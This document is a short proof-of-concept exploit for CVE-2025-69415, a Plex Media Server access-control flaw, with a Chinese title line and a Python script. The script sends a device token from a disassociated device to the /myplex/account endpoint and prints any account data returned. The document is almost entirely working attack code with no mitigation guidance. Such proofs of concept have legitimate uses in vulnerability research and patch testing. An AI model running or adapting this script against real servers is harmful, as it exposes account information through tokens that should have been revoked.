CVE-2025-69415 Plex Media Server设备令牌账户访问控制漏洞

#!/usr/bin/env python3 """ CVE-2025-69415 PoC - Plex Media Server Device Token Account Access This PoC demonstrates accessing /myplex/account with a device token after the device has been disassociated from the account. """ import requests import json import sys def exploit_plex_cve_2025_69415(plex_url, device_token): """ Attempt to access /myplex/account with device token after device has been disassociated from account. Args: plex_url: Base URL of Plex Media Server device_token: Valid device token (even if device is disassociated) Returns: dict: Response data or error information """ headers = { 'X-Plex-Device-Token': device_token, 'X-Plex-Product': 'PlexMediaServer', 'X-Plex-Version': '1.42.2.10156', 'Accept': 'application/json' } target_endpoint = f"{plex_url}/myplex/account" try: response = requests.get(target_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] SUCCESS: Account information accessible!") print(f"[+] Status Code: {response.status_code}") try: data = response.json() return { 'vulnerable': True, 'status_code': response.status_code, 'data': data } except: return { 'vulnerable': True, 'status_code': response.status_code, 'data': response.text } else: print(f"[-] FAILED: Status Code {response.status_code}") return { 'vulnerable': False, 'status_code': response.status_code } except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return {'error': str(e)} if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <plex_url> <device_token>") print("Example: python3 CVE-2025-69415.py http://192.168.1.100:32400 abc123token") sys.exit(1) plex_url = sys.argv[1] device_token = sys.argv[2] result = exploit_plex_cve_2025_69415(plex_url, device_token) print(json.dumps(result, indent=2))